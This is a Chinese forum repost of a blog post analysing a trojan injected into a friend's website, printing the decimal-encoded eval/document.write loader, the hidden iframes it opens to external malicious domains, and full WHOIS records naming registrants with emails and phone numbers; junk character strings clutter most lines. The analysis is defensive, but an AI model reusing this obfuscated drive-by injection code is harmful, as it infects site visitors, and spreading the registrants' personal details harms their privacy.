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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, fM]+SMZy  
3EV;LH L  
http://www.areway.cn/?p=175 O,+1<.;+  
N=4G=0 `ke  
MW! srTQ_  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 7L`A{L  
          )IP,;<  
<script>t=’60,105,102,114,97,109,101, iZ#!O* >  
32,115,114,99,61,104,116,116,112,58,47,47, ]{)a,c NG  
102,114,101,101,46,117,45,117,117,117,46,99, aGrIQq/k)%  
110,47,101,114,114,111,114,46,104,116,109, 9=vMgW  
32,119,105,100,116,104,61,49,48,48,32,104, WK ts[Z  
101,105,103,104,116,61,48,62,60,47,105,102, bZnuNYty75  
114,97,109,101,62′; ^nT/i .#_  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> p#01gB  
                                                                                                  09X01X[  
<script>t=’60,105,102,114,97,109,101,32,115,  ,V,`Jf  
114,99,61,104,116,116,112,58,47,47,102,114, ^!<U_;+  
101,101,46,117,45,117,117,117,46,99,110,47, l7XUXbYp&=  
101,114,114,111,114,46,104,116,109,32,119, 03|PYk 6EW  
105,100,116,104,61,49,48,48,32,104,101,105, eV 2W{vuI  
103,104,116,61,48,62,60,47,105,102,114,97, TTeH `  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 8;d:-Cp  
document.write(t);</script> {'XggI%  
                                                                                                  R?GDJ3  
<html xmlns=” \kp8S'qVo  
http://www.w3.org/1999/xhtml 6 bomh2  
“> %7"q"A r[  
<head> _BM" ]t*  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> Ee)T1~;W  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> >QjAoDVX?  
<title>首页 - 爱生活家庭网 X}=n:Ql'YY  
                                                                                                                                                    ^`*9QjY  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 3)F |*F3R  
转换字符串后的大概内容是(谁点击后果自付): =!kk|_0%E  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… M`. tf_x  
                                                                                                                                  !S^AgZ~  
查询玉米u-uuu.cn的详细信息: G<At_YS  
Domain Name: u-uuu.cn 0C =3dnp6  
ROID: 20070901s10001s64972306-cn v/Py"hQ  
Domain Status: ok 1{r3#MVL  
Registrant Organization: 王雷 3/aMJR:o  
Registrant Name: 王雷 x*![fK  
Administrative Email: czlovexs@126.com  ~3Lg"I  
Sponsoring Registrar: 北京万网志成科技有限公司 i'a?kSy  
Name Server:ns.yovole.com .\[`B.Q  
Name Server:ns1.yovole.com xAqb\|$^  
Registration Date: 2007-09-01 17:54 w zYzug  
Expiration Date: 2008-09-01 17:54 K0H'4' I  
最后PING了一下地址 都没有什么…. Of- Rx/  
                                                                                                p6 ]7&{>  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. xO$lsZPG  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> $:cE ^8K  
<script language=”javascript” src=” 9*2[B"5  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script C\3y {s  
> ~8~aJ^[  
这个玉米应该有可能是木马作者的: c2h{6;bfY  
foafau.info的详细信息: fRrvNj0{ V  
Access to INFO WHOIS information is provided to assist persons in w:%o?pKet1  
determining the contents of a domain name registration record in the hXfQ)$J  
Afilias registry database. The data in this record is provided by H(R1o~  
Afilias Limited for informational purposes only, and Afilias does not I CZ4 A{I  
guarantee its accuracy.  This service is intended only for query-based CpA|4'#  
access. You agree that you will use this data only for lawful purposes qS403+Su1=  
and that, under no circumstances will you use this data to: (a) allow, dq7x3v^"ZG  
enable, or otherwise support the transmission by e-mail, telephone, or yL%K4$z  
facsimile of mass unsolicited, commercial advertising or solicitations y-T| #  
to entities other than the data recipient’s own existing customers; or NhfJ30~  
(b) enable high volume, automated, electronic processes that send rx $mk  
queries or data to the systems of Registry Operator, a Registrar, or 8 BY j  
Afilias except as reasonably necessary to register domain names or lphFhxJA{  
modify existing registrations. All rights reserved. Afilias reserves O}tZ - 'T  
the right to modify these terms at any time. By submitting this query, | h`0u'#  
you agree to abide by this policy. {HL3<2=o  
Domain ID:D22418703-LRMS Y,GU%[+  
Domain Name:FOAFAU.INFO _p# CwExuy  
Created On:20-Nov-2007 16:05:42 UTC CKtB-a  
Last Updated On:20-Nov-2007 16:05:44 UTC " W!M[qBW  
Expiration Date:20-Nov-2008 16:05:42 UTC Fw/6?:C}O6  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) qd9cI&  
Status:CLIENT DELETE PROHIBITED vqnw#U4`  
Status:CLIENT RENEW PROHIBITED Ipf|")*  
Status:CLIENT TRANSFER PROHIBITED Da&vb D-Bg  
Status:CLIENT UPDATE PROHIBITED ,LTH;<zB)  
Status:TRANSFER PROHIBITED VGfMN|h  
Registrant ID:GODA-040110615 d_AK `wR  
Registrant Name:liu hong yW+yg{Gg:  
Registrant Organization: `k=bL"T>\  
Registrant Street1:beijing H9KKed47d/  
Registrant Street2: N8!cO[3Oh  
Registrant Street3: 8MK>)P o)  
Registrant City:beijing b_,|>U  
Registrant State/Province: uXI_M)  
Registrant Postal Code:100000 &K[_J  
Registrant Country:CN 3t`P@nL0;  
Registrant Phone:+86.860108888777 J c g,#@  
Registrant Phone Ext.: @En^wN  
Registrant FAX: g3Ec"_>P  
Registrant FAX Ext.: Mx6@$tQ%  
Registrant Email:bbbshiji@163.com M^MdRu  
Admin ID:GODA-240110615 {n(b{ ibl  
Admin Name:liu hong ;6gDV`Twy  
Admin Organization: 5j:0Yt  
Admin Street1:beijing 4,..kSA3iw  
Admin Street2: h "Xg;(K  
Admin Street3: g+DzscIT  
Admin City:beijing _6_IP0;  
Admin State/Province: uG?_< mun  
Admin Postal Code:100000 $u7; TW6QD  
Admin Country:CN wi hH?~]  
Admin Phone:+86.860108888777 aY3^C q(r  
Admin Phone Ext.: 1)9sf0LyU  
Admin FAX: j;']cWe  
Admin FAX Ext.: lwHzj&/ ~  
Admin Email:bbbshiji@163.com @_U;9)  
Billing ID:GODA-340110615 _6O\W%it  
Billing Name:liu hong bnm P{Ps  
Billing Organization: D Gr> 2  
Billing Street1:beijing BsBK@+ZyI  
Billing Street2: yN~dU0.G6!  
Billing Street3: ^w(p8G_-w  
Billing City:beijing s<*XN NE7  
Billing State/Province: 0F@"b{&0  
Billing Postal Code:100000 EM]s/LD@%  
Billing Country:CN MJ7Y#<u  
Billing Phone:+86.860108888777 +IrLDsd  
Billing Phone Ext.: aF)1Nm[  
Billing FAX: GRGzP&}@  
Billing FAX Ext.: ^sa#8^,K  
Billing Email:bbbshiji@163.com jL(qf~c_  
Tech ID:GODA-140110615 =3|O %\  
Tech Name:liu hong c05TsMF&O  
Tech Organization: -%2[2p  
Tech Street1:beijing ;ToKJ6hN|*  
Tech Street2: HuB<k3#sPy  
Tech Street3: S7=Bd[4  
Tech City:beijing q+P|l5_ t  
Tech State/Province: aT_&x@x  
Tech Postal Code:100000 8S>&WR%jH]  
Tech Country:CN ([ jF4/  
Tech Phone:+86.860108888777 `n$I]_}/%  
Tech Phone Ext.: :/y1yM  
Tech FAX: 7+]=-  
Tech FAX Ext.: `^bgUmJ~  
Tech Email:bbbshiji@163.com D-8O+.@  
Name Server:NS27.DOMAINCONTROL.COM %TX@I$Ba  
Name Server:NS28.DOMAINCONTROL.COM g$HwxA9Gp/  
Name Server: .}'qUPNR  
Name Server: &F\?  
Name Server: ZPiq-q  
Name Server: }xBc0g r  
Name Server: }tsYJlh5  
Name Server: "u6`m?  
Name Server: y|CP;:f;  
Name Server: EPS={w$'s  
Name Server: :{qv~&+C  
Name Server: ~vs}.kb  
Name Server: QF{4/y^j{  
                                                                                                          %{YN70/  
接着下载每个文件里面的代码: ;w'D4p= P  
一步一步看.. ` jzTmt  
/b]oa !  
vLR~'" `F  
"5;;)\o ~  
@.G[s)x  
~7Ts_:E-  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
级别: 店掌柜
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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